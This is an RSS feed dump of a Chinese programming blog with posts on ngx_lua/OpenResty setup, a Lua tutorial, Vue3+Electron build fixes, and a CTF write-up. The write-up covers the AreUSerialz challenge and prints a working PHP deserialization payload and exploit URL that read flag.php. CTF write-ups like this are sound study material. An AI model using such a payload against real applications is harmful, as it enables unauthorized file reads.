BoyChai's Blog - 编程 https://blog.boychai.xyz/index.php/category/%E7%BC%96%E7%A8%8B/ zh-CN Thu, 25 Apr 2024 00:51:00 +0000 Thu, 25 Apr 2024 00:51:00 +0000 [Nginx]ngx_lua模块 https://blog.boychai.xyz/index.php/archives/71/ https://blog.boychai.xyz/index.php/archives/71/ Thu, 25 Apr 2024 00:51:00 +0000 BoyChai 概述

淘宝开发的ngx_lua模块通过将lua解释器解释器集成Nginx,可以采用lua脚本实现业务逻辑,由于lua的紧凑、快速以及内建协程,所以在保证高并发服务能力的同时极大降低了业务逻辑实现成本。

安装方式1(已弃用)

lua-nginx-module

LuaJIT是采用C语言编写的Lua代表的解释器。
官网: http://luajit.org
在官网找到对应下载地址: https://github.com/LuaJIT/LuaJIT/tags

[root@work env]# wget https://github.com/LuaJIT/LuaJIT/archive/refs/tags/v2.0.5.tar.gz
[root@work env]# tar xvf v2.0.5.tar.gz 
[root@work env]# cd LuaJIT-2.0.5/
[root@work LuaJIT-2.0.5]# make && make install
make[1]: Leaving directory '/opt/env/LuaJIT-2.0.5/src'
==== Successfully built LuaJIT 2.0.5 ====
==== Installing LuaJIT 2.0.5 to /usr/local ====
mkdir -p /usr/local/bin /usr/local/lib /usr/local/include/luajit-2.0 /usr/local/share/man/man1 /usr/local/lib/pkgconfig /usr/local/share/luajit-2.0.5/jit /usr/local/share/lua/5.1 /usr/local/lib/lua/5.1
cd src && install -m 0755 luajit /usr/local/bin/luajit-2.0.5
cd src && test -f libluajit.a && install -m 0644 libluajit.a /usr/local/lib/libluajit-5.1.a || :
rm -f /usr/local/bin/luajit /usr/local/lib/libluajit-5.1.so.2.0.5 /usr/local/lib/libluajit-5.1.so /usr/local/lib/libluajit-5.1.so.2
cd src && test -f libluajit.so && \
  install -m 0755 libluajit.so /usr/local/lib/libluajit-5.1.so.2.0.5 && \
  ldconfig -n /usr/local/lib && \
  ln -sf libluajit-5.1.so.2.0.5 /usr/local/lib/libluajit-5.1.so && \
  ln -sf libluajit-5.1.so.2.0.5 /usr/local/lib/libluajit-5.1.so.2 || :
cd etc && install -m 0644 luajit.1 /usr/local/share/man/man1
cd etc && sed -e "s|^prefix=.*|prefix=/usr/local|" -e "s|^multilib=.*|multilib=lib|" luajit.pc > luajit.pc.tmp && \
  install -m 0644 luajit.pc.tmp /usr/local/lib/pkgconfig/luajit.pc && \
  rm -f luajit.pc.tmp
cd src && install -m 0644 lua.h lualib.h lauxlib.h luaconf.h lua.hpp luajit.h /usr/local/include/luajit-2.0
cd src/jit && install -m 0644 bc.lua v.lua dump.lua dis_x86.lua dis_x64.lua dis_arm.lua dis_ppc.lua dis_mips.lua dis_mipsel.lua bcsave.lua vmdef.lua /usr/local/share/luajit-2.0.5/jit
ln -sf luajit-2.0.5 /usr/local/bin/luajit
==== Successfully installed LuaJIT 2.0.5 to /usr/local ====

lua-nginx-module

nginx第三方模块lua-nginx-module
官网: https://github.com/openresty/lua-nginx-module

[root@work env]# wget https://github.com/openresty/lua-nginx-module/archive/refs/tags/v0.10.26.tar.gz
[root@work env]# tar xvf v0.10.26.tar.gz 
[root@work env]# ln -s lua-nginx-module-0.10.26 lua-nginx-module

环境变量设置

[root@work ~]# tail -n2 /etc/profile
export LUAJIT_LIB=/usr/local/lib
export LUAJIT_INC=/usr/local/include/luajit-2.0
[root@work ~]# source /etc/profile

扩展nginx模块

打开nginx编译安装的位置 进行重新编译安装

[root@work nginx-1.24.0]# ./configure  --prefix=/usr/local/nginx  --sbin-path=/usr/local/nginx/sbin/nginx --conf-path=/usr/local/nginx/conf/nginx.conf --error-log-path=/var/log/nginx/error.log  --http-log-path=/var/log/nginx/access.log  --pid-path=/var/run/nginx/nginx.pid --lock-path=/var/lock/nginx.lock  --user=nginx --group=nginx --with-http_ssl_module --with-http_stub_status_module --with-http_gzip_static_module --http-client-body-temp-path=/var/tmp/nginx/client/ --http-proxy-temp-path=/var/tmp/nginx/proxy/ --http-fastcgi-temp-path=/var/tmp/nginx/fcgi/ --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi --with-pcre --add-module=/opt/package/nginx/lua-nginx-module
[root@work nginx-1.24.0]# make && make install

扩展的重点是--with-pcre --add-module=/opt/package/nginx/lua-nginx-module
这里就相当于重新安装了,之前安装的模块还需要再这里再添加一遍

错误

libluajit-5.1.so.2

当在扩展号nginx模块后执行nginx相关命令出现以下错误

[root@work ~]# nginx -V
nginx: error while loading shared libraries: libluajit-5.1.so.2: cannot open shared object file: No such file or directory

这个错误表明 Nginx 在启动时无法找到名为 libluajit-5.1.so.2 的共享库文件。这很可能是由于 Nginx 模块依赖 LuaJIT 库,但系统中缺少了该库所致。解决办法如下

[root@work ~]# ln -s /usr/local/lib/libluajit-5.1.so.2 /lib64/liblua-5.1.so.2

reason: module 'resty.core' not found

[root@work conf]# nginx
nginx: [alert] detected a LuaJIT version which is not OpenResty's; many optimizations will be disabled and performance will be compromised (see https://github.com/openresty/luajit2 for OpenResty's LuaJIT or, even better, consider using the OpenResty releases from https://openresty.org/en/download.html)
nginx: [alert] failed to load the 'resty.core' module (https://github.com/openresty/lua-resty-core); ensure you are using an OpenResty release from https://openresty.org/en/download.html (reason: module 'resty.core' not found:
    no field package.preload['resty.core']
    no file './resty/core.lua'
    no file '/usr/local/share/luajit-2.0.5/resty/core.lua'
    no file '/usr/local/share/lua/5.1/resty/core.lua'
    no file '/usr/local/share/lua/5.1/resty/core/init.lua'
    no file './resty/core.so'
    no file '/usr/local/lib/lua/5.1/resty/core.so'
    no file '/usr/local/lib/lua/5.1/loadall.so'
    no file './resty.so'
    no file '/usr/local/lib/lua/5.1/resty.so'
    no file '/usr/local/lib/lua/5.1/loadall.so') in /usr/local/nginx/conf/nginx.conf:117

原因似乎是缺少lua-resty-core模块,这里手动编译安装一下
项目地址: https://github.com/openresty/lua-resty-core

[root@work nginx]# tar xvf v0.1.28.tar.gz 
tar xvf
make install

安装方式2

概述

直接使用OpenRestry,它是由淘宝工程师开发的,它是基于Nginx与Lua的高性能Web平台,其内部集成了大量精良的Lua库,第三方模块以及大多数的依赖项,用于方便搭建能够处理高并发、扩展性极高的动态Web应用、Web服务和动态网关。所以本身OpenResty内部就已经集成了Nginx和Lua,我们用起来会更加方便

安装

参考: https://openresty.org/cn/linux-packages.html
配置:/usr/local/openrestry/nginx/conf

关于OpenRestry

OpenRestry,它是由淘宝工程师开发的,它是基于Nginx与Lua的高性能Web平台,其内部集成了大量精良的Lua库,第三方模块以及大多数的依赖项,用于方便搭建能够处理高并发、扩展性极高的动态Web应用、Web服务和动态网关。所以本身OpenResty内部就已经集成了Nginx和Lua,我们用起来会更加方便。
PS:本文只讲ngx_lua的使用,其他的基本和nginx配置无区别。

ngx_lua相关指令块

使用Lua编写Nginx脚本的基本构建块是指令。指令用于指定何时运行用户Lua代码以及如何使用结果。下图显示了执行指令的顺序。
顺序

先来解释一下*的作用

*:无 , 即 xxx_by_lua ,指令后面跟的是 lua指令
*:_file,即 xxx_by_lua_file 指令后面跟的是 lua文件
*:_block,即 xxx_by_lua_block 在0.9.17版后替换init_by_lua_file

init_by_lua*

该指令在每次Nginx重新加载配置时执行,可以用来完成一些耗时模块的加载,或者初始化一些全局配置。

init_worker_by_lua*

该指令用于启动一些定时任务,如心跳检查、定时拉取服务器配置等。

set_by_lua*

该指令只要用来做变量赋值,这个指令一次只能返回一个值,并将结果赋值给Nginx中指定的变量。

rewrite_by_lua*

该指令用于执行内部URL重写或者外部重定向,典型的如伪静态化URL重写,本阶段在rewrite处理阶段的最后默认执行。

access_by_lua*

该指令用于访问控制。例如,如果只允许内网IP访问。

content_by_lua*

该指令是应用最多的指令,大部分任务是在这个阶段完成的,其他的过程往往为这个阶段准备数据,正式处理基本都在本阶段。

header_filter_by_lua*

该指令用于设置应答消息的头部信息。

body_filter_by_lua*

该指令是对响应数据进行过滤,如截断、替换。

log_by_lua*

该指令用于在log请求处理阶段,用Lua代码处理日志,但并不替换原有log处理。

balancer_by_lua*

该指令主要的作用是用来实现上游服务器的负载均衡器算法

ssl_certificate_by_*

该指令作用在Nginx和下游服务开始一个SSL握手操作时将允许本配置项的Lua代码。

案例1

需求

输出内容

配置

  location /lua {
            default_type 'text/html';
            content_by_lua 'ngx.say("<h1>HELLO,OpenResty</h1>")';
        }

案例2

需求

http://xxx/?name=张三&gender=1
Nginx接收到请求后根据gender传入的值,如果是gender传入的是1,则展示张三先生,如果是0则展示张三女士,如果都不是则展示张三。

配置

  location /getByGender {
                default_type 'text/html';
                set_by_lua $param "
                        -- 获取请求URL上的参数对应的值
                        local uri_args = ngx.req.get_uri_args()
                        local name = uri_args['name']
                        local gender = uri_args['gender']
                        -- 条件判断 if gender 1 先生 0 女士
                        if gender == '1' then
                                return name..'先生'
                        elseif gender == '0' then
                                return name..'女士'
                        else
                                return name
                        end
                ";
                # 解决中文乱码
                charset utf-8;
                # 返回数据
                return 200 $param;
        }

ngx.req.get_uri_args()返回的是一个table类型

案例3

需求

动态获取docker容器ip,做代理

配置

server{
         listen       80;
         server_name  code.boychai.xyz;
         client_max_body_size 4096M;
     set_by_lua $param '
             local name = "gitea"
                local port = "3000"
                local command = string.format("echo -n `docker inspect --format=\'{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}\' %s`", name)
                local handle = io.popen(command)
                local result = handle:read("*a")
                handle:close()
                return "http://"..result..":"..port
     ';
         location / {
                if ( $param = 'http://:3000' ) {
                        return 500 "Error in obtaining site IP";
                }
            proxy_pass     $param;
                proxy_set_header     Host $proxy_host;
                proxy_set_header        X-Real-IP $remote_addr;
                proxy_set_header     X-Forwarded-For $proxy_add_x_forwarded_for;
         }
}
]]>
0 https://blog.boychai.xyz/index.php/archives/71/#comments https://blog.boychai.xyz/index.php/feed/category/%E7%BC%96%E7%A8%8B/
[Lua]快速入门 https://blog.boychai.xyz/index.php/archives/69/ https://blog.boychai.xyz/index.php/archives/69/ Wed, 17 Apr 2024 08:01:00 +0000 BoyChai Lua

概念

Lua是一种轻量、小巧的脚本语言,用标准的C语言编写并以源代码形式开发。设计目的是为了嵌入其他的程序中,从而为应用程序提供灵活的扩展和定制功能。

特性

和他语言相比,Lua有其自身的特点:
(1)轻量级

lua用标准C语言编写并以源代码形式开发,编译后仅仅一百余千字节,可以很方便的嵌入道其他程序中。

(2)可扩展

lua提供非常丰富易于使用的扩展接口和机制,由宿主语言(通常是C或C++)提供功能,lua可以使用它们,就像内置的功能一样。

(3)支持面向过程编程和函数式编程

应用场景

游戏开发、独立应用脚本、web应用脚本、扩展和数据库插件、系统安全上。

安装

官网: https://www.lua.org/

[root@work env]# wget https://www.lua.org/ftp/lua-5.4.6.tar.gz
[root@work env]# tar xvf lua-5.4.6.tar.gz 
[root@work lua-5.4.6]# make linux test
[root@work lua-5.4.6]# make install
cd src && mkdir -p /usr/local/bin /usr/local/include /usr/local/lib /usr/local/man/man1 /usr/local/share/lua/5.4 /usr/local/lib/lua/5.4
cd src && install -p -m 0755 lua luac /usr/local/bin
cd src && install -p -m 0644 lua.h luaconf.h lualib.h lauxlib.h lua.hpp /usr/local/include
cd src && install -p -m 0644 liblua.a /usr/local/lib
cd doc && install -p -m 0644 lua.1 luac.1 /usr/local/man/man1
[root@work lua-5.4.6]# lua -v
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio

语法

他的语法和C/C++语法非常相似,整体上比较清晰,简洁。条件语句、循环语句、函数调用都与C/C++基本一致。

交互式HelloWorld

[root@work env]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> print('hello world!!') 
hello world!!
> 

脚本式HelloWorld

第一种方式

[root@work ~]# mkdir lua_demo
[root@work ~]# cd lua_demo/
[root@work lua_demo]# vim hello.lua
[root@work lua_demo]# cat hello.lua 
print('hello world!!!')
[root@work lua_demo]# lua hello.lua 
hello world!!!

第二种方式

[root@work lua_demo]# vim hello.lua
[root@work lua_demo]# cat hello.lua 
#! /usr/local/bin/lua
print('hello world!!!')
[root@work lua_demo]# chmod +x hello.lua 
[root@work lua_demo]# ./hello.lua 
hello world!!!

注释

%% 单行注释 %%
-- print("111")
%% 多行注释 %%
--[[
    print("222")
--]]
%% 取消多行注释 %%
---[[
    print("222")
--]]

测试

[root@work lua_demo]# vim demo2.lua
[root@work lua_demo]# cat demo2.lua 
-- print("111")
--[[
    print("222")
--]]
---[[
    print("333")
--]]
[root@work lua_demo]# lua demo2.lua 
333

标识符

标识符就是变量名,Lua定义变量名以 一个字母A到Z或a到z或下划线_开头后加上0个或者多个字母,下划线,数字(0-9)。这块建议最好不要使用下划线加大写字母的标识符,因为Lua的保留字也是这样定义的,容易发生冲突。注意Lua是区分大小写字母的。

关键字

下面Lua的关键词,大家在定义常量、变量或其他用户定义标识符都要避免使用一下关键字

andbreakdoelse
elseifendfalsefor
functionifinlocal
nilnotorrepeat
returnthentrueuntil
whilegoto

一般约定,一以下划线开头连接一串大写字母的名字(比如_VERSION)被保留用于Lua内部全局变量。这个也是上面我们不建议这么定义标识符的原因

运算符

Lua中支持的运算符有算数运算符、关系运算符、逻辑运算符、其他运算符。

算数运算符

+ 加
- 减
* 乘
/ 除
% 取余
^ 乘幂
- 负号

关系运算符

== 等于
~= 不等于
> 大于
< 小于
>= 大于等于
<= 小于等于

逻辑运算符

and 与 同时true返回true 
or 或 一个true返回true
not 非 取反

其他运算符

.. 连接两个字符串
#  一元预算法,返回字符串或表的长度

例如

[root@work lua_demo]# lua 
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> 
> print('HELLO '..'WORLD') 
HELLO WORLD
> print(#'hello')         
5

全局变量&局部变量

在Lua语言中,全局变量无须声明即可使用。在默认情况下,变量总是认为是全局的,如果未提前赋值,默认为nil。如果想要声明一个局部变量需要使用local来声明。

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> b=10
> print(b)
10
> local a = 100
> print(a)
nil
> local a = 100; print(a)   
100
> 

数据类型

全部的类型

Lua有8个数据类型

nil(空,无效值)
boolean(布尔,true/false)
number(数值)
string(字符串)
function(函数)
table(表)
thread(线程)
userdata(数据用户)

可以使用type函数测试给定变量或者类型:

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> print(type(nil))
nil
> print(type("aaa"))
string
> 

nil

nil是一种只有一个nil值的类型,他的作用可以用来与其他所有值进行区分,也可以当想要移除一个变量时,只需要将该变量名赋值为nil,垃圾回收就会释放该变量所占用的内存。

boolean

boolean类型具有两个值,true和false。在Lua中,只会将false和nil视为假,其他都是真,特别是在条件检测中0和空字符串都会认为是真,这个和我们熟悉的大多语言不太一样。

number

在lua5.3开始,lua语言为数值格式提供了两种选择:integer(整型)和float(双精度浮点型)[和其他语言不太一样,floatu代表单精度类型],u不管是整形还是双精度浮点型,使用type()函数来取其类型,返回的都是number。还有就是他们之间是可以直接相互转换的。

string

Lua语言中的字符串可以标识单个字符,也可以标识一整本书籍。在Lua语言中,操作100k或者1M个字母组成的字符串的程序很常见。如果字符串数据很多可以这样写

a = [[
<html>
xxx
xxxx
xxx
</html>
]]

table

table是lua语言中最主要和强大的数据结构。使用表,Lua语言可以以一种简单、统一且高效的方式标识数组、合集、记录和其他很多数据结构。Lua语言中的表本质上是一种辅助数组。这种数组比Java中的数组更加灵活,可以使用数值做索引,也可以使用字符串或其他任意类型的值做索引(nil除外)

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> a = {}
> arr = {"TOM","JERRY","ROSE"}
> print(arr[0])  
nil
> print(arr[1])     
TOM
> print(arr[2]) 
JERRY
> print(arr[3]) 
ROSE
> arr={}
> arr["X"]=10
> arr["Y"]=20
> arr["Z"]=30
> print(arr["X"])
10
> print(arr["Y"])
20
> print(arr["Z"])
30
> arr.X
10
> arr.Y
20
> arr.Y
20
> arr={"TOM",X=10,"JERRY",Y=20,"ROSE",Z=30}
> arr[1]
TOM
> arr[2]
JERRY
> arr[3]
ROSE
> arr[4]
nil
> arr.X
10
> arr["X"]  
10
> arr.Z
30
> 

function

在Lua语言中,函数(Function)是对语句和表达式进行抽象的主要方式
定义函数:

function functionName(params)
    code
end

函数被调用的时候,传入的参数个数与定义函数时使用的参数个数不一致的时候,Lua会通过抛弃多余参数和将不足的参数设为nil的方式来调整数的个数。

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function f(a,b)
>> print(a,b)
>> end
> f()
nil    nil
> f(2)
2    nil
> f(2,6)
2    6
> f(2,6,8)
2    6

可变参数

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function add(...)
>> local a,b,c=...                   
>> print(a,b,c)
>> end
> add(1,2,3)
1    2    3
> add(1)  
1    nil    nil
> add(1,2,3,4,5,6)
1    2    3
> 

返回值

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function add(a,b)
>> return b,a
>> end
> x,y=add(100,200)
> print(y) 
100
> print(x)
200
> 

控制结构

Lua语言提供了一组精简且常用的控制结构,包括用于条件执行的if以及用户循环的while、repeat和for。所有的控制语法上都有一个显示的终结符:end用于中介if、for以及while结构,until用于中介repeat结构。

if语句

if语句先测试其条件,并根据条件是否满足执行响应的then部分或else部分。else部分是可选的。

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function testif(a)
>> if a>0 then
>> print("a是正数")
>> end
>> end
> testif(2)   
a是正数
> testif(1)
a是正数
> testif(-1)
> function testif(a)
>> if a>0 then
>> print("a是正数")
>> else
>> print("a是负数")
>> end
>> end
> testif(1) 
a是正数
> testif(-1)
a是负数
> 

嵌套IF相关案例如下

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function show(age)    
>> if age <= 18 then
>> return "qingshaonian" 
>> elseif age>18 and age <=45 then
>> return "qingnian"
>> elseif age>45 and age <=60 then
>> return "zhongnianren"
>> else
>> return "laonianren" 
>> end
>> end
> print(show(17))              
qingshaonian
> print(show(19))
qingnian
> print(show(56))
zhongnianren
> print(show(80))
laonianren

while循环

语法如下

while 条件 do
    循环体
end

案例

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function testwhile()
>> local i=1
>> while i<=10 do
>> print(i)
>> i=i+1
>> end
>> end
> testwhile()
1
2
3
4
5
6
7
8
9
10

repeat循环

repeat-until语句回重复执行其循环体直到条件为真时结束。由于条件测试在循环体之后执行,所以至少会循环执行一次。
语法如下

repeat
    循环体
until 条件

案例如下

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function testRepeat()
>> local i = 10
>> repeat
>> print(i)
>> i=i-1
>> until i < 1
>> end
> testRepeat()
10
9
8
7
6
5
4
3
2
1

for循环

数值型

语法如下

for param=exp1,exp2,exp3 do
    循环体
end

param的值从exp1变化到exp2之前的每次循环会执行循环体,并在每次循环结束的时候步长,和python的for差不多。
案例如下

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> for i = 1,100,10 do 
>> print(i)
>> end
1
11
21
31
41
51
61
71
81
91
泛型

泛型for循环是通过一个迭代器函数来遍历所有的值,类似于java中的foreach语句
语法

for i,v in ipairs(x) do
    循环体
end

i是数组索引,v是对应索引的数组元素值,ipairs是Lua提供的一个迭代器函数,用来迭代数组,x是要遍历的数组。只后pairs也是Lua提供的夜歌迭代函数,他和ipairs的区别是pairs可以迭代一些指定键的table。
案例如下

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> arr = {"TOME","JERRY","ROWS","LUCY"}
> for i,v in ipairs(arr) do
>> print(i,v)
>> end
1    TOME
2    JERRY
3    ROWS
4    LUCY
[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> arr = {"TOM","JERRY","ROSES",x="JACK","LUCY"}
> function testfor(arr)
>> for i,v in pairs(arr) do 
>> print(i,v)
>> end
>> end
> testfor(arr)
1    TOM
2    JERRY
3    ROSES
4    LUCY
x    JACK
]]>
0 https://blog.boychai.xyz/index.php/archives/69/#comments https://blog.boychai.xyz/index.php/feed/category/%E7%BC%96%E7%A8%8B/
[排错笔记]Vue3+Electron构建报错 https://blog.boychai.xyz/index.php/archives/68/ https://blog.boychai.xyz/index.php/archives/68/ Mon, 19 Feb 2024 15:25:00 +0000 BoyChai 使用环境
"Node":"21.6.2"
"@vue/cli-service": "~5.0.0",
"electron": "^13.0.0",

问题一

报错

background.js from Terser
Error: error:0308010C:digital envelope routines::unsupported
    at new Hash (node:internal/crypto/hash:68:19)
    at Object.createHash (node:crypto:138:10)
    at E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\webpack\node_modules\terser-webpack-plugin\dist\index.js:217:37
    at Array.forEach (<anonymous>)
    at TerserPlugin.optimizeFn (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\webpack\node_modules\terser-webpack-plugin\dist\index.js:160:259)
    at _next0 (eval at create (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:8:1)
    at eval (eval at create (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:23:1)
    at processTicksAndRejections (node:internal/process/task_queues:95:5)

原因

用了高版本的node.js

解决

给NODE_OPTIONS添加环境变量--openssl-legacy-provider,低版本的不需要,默认忽略ssl验证

set NODE_OPTIONS=--openssl-legacy-provider

问题二

报错

Error output:
!include: could not find: "E:\前端\assist\node_modules\app-builder-lib\templates\nsis\include\StdUtils.nsh"
Error in script "<stdin>" on line 1 -- aborting creation process

    at ChildProcess.<anonymous> (E:\前端\assist\node_modules\builder-util\src\util.ts:250:14)
    at Object.onceWrapper (node:events:634:26)
    at ChildProcess.emit (node:events:519:28)
    at ChildProcess.cp.emit (E:\前端\assist\node_modules\builder-util\node_modules\cross-spawn\lib\enoent.js:34:29)
    at maybeClose (node:internal/child_process:1105:16)
    at Process.ChildProcess._handle.onexit (node:internal/child_process:305:5) {
  exitCode: 1,
  alreadyLogged: false,
  code: 'ERR_ELECTRON_BUILDER_CANNOT_EXECUTE'
}

原因

路径有中文路径

解决

切换项目目录给copy到个全英路径的位置

问题三

报错

打开页面全白

原因

路由模式用的history

解决

路由模式切换成hash模式

问题四

报错



<router-view>标签不生效

原因

不清楚为什么会这样 反正我这个版本打包后 electron不会进入”/“路径下 但是在本地访问的时候会

解决

在App.vue中直接push到/

import { useRouter } from "vue-router";

const router = useRouter();
router.push(`/`);

要注意的是router.back();路由跳转我这边也不生效了,需要都替换成push('/')

问题五

报错

 • cannot get, wait  error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
                      attempt=0
                      waitTime=2
  • cannot get, wait  error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
                      attempt=1
                      waitTime=4
  • cannot get, wait  error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
                      attempt=2
                      waitTime=6
  ⨯ Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.

win跨平台构建linux从service.electron.build下载资源失败,换代理也没用

原因

这个站点service.electron.build似乎在2020年就关闭,一直也没人来修这个玩意

解决

换linux主机构建或者采用docker的容器进行构建
ISSUES:https://github.com/electron-userland/electron-build-service/issues/9

]]>
0 https://blog.boychai.xyz/index.php/archives/68/#comments https://blog.boychai.xyz/index.php/feed/category/%E7%BC%96%E7%A8%8B/
[代码审计]网鼎杯_2020_青龙组_AreUSerialz https://blog.boychai.xyz/index.php/archives/67/ https://blog.boychai.xyz/index.php/archives/67/ Mon, 16 Oct 2023 02:16:00 +0000 BoyChai 题目

buuoj-网鼎杯_2020_青龙组_AreUSerialz

源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

分析

一看这个题目就是一道反序列的题目,上面定义了一个FileHandler类,之后定义了一个is_valid方法,这个方法的目的是过滤字符串,ord函数是转换ASCII码,32-125区间基本上就是所有字母数字和符号了,之后最后面这个是get获取一个str的值,之后检测是否是字符串,之后把字符串进行序列化。接下来详细看看FileHandler类:


class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

分析了一下代码,output、read、write方法都需要通过process方法来触发,output代码如下

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

很简单没啥好说的,就是输出传入的内容。read方法代码如下,

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

是去调用file_get_contents方法来读取filename变量里的文件,之后返回读取的内容。再看看write方法

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

显示content不能大于100的长度,之后将content的内容写入filename,写入之后输出Successful!否则都是Failed!,再看看process方法

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

如果op=1则会进行写内容,如果等于2回去执行read()方法之后输出读取的内容,否则就输出"Bad Hacker!"。分析完基本的函数之后可以知道三个变量的作用

    protected $op;
    protected $filename;
    protected $content;

op是用来定义操作模式的,1是写2是读,filename是文件名称文件位置,content是写入时的内容。再看看两个魔法函数__construct()是构造函数__destruct()销毁函数,销毁的时候会触发。构造函数在这里没用主要看这个销毁函数,代码如下

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

也没啥东西,这里有个误导,就是里面的那个判断,他这个判断是三个等号的,会先判断类型,他这里判断的是字符串的2,之后content传入什么都无所谓了,剩下的就会交给process处理。

解题

分析完代码思路就清晰了,我们需要反序列化出一个FileHandler,内容op需要等于2,filename需要等于flag.php即可拿到falg。解题方式如下

<?php
class FileHandler
{
    public $op = 2;
    public $filename = "flag.php";
    public $content = "xd";
}
$a = new FileHandler();
$flag= serialize($a);
echo $flag;
/// output
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}

之后请求
http://7952a287-fef7-4773-9245-e58b63cba8f5.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:2:%22xd%22;}
网页显示返回为空直接查看源代码拿到flag
?php $flag='flag{a0ad20b0-919b-479a-b2e8-78afe8be30cc};

补充

为什么不使用protected来序列化?
PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
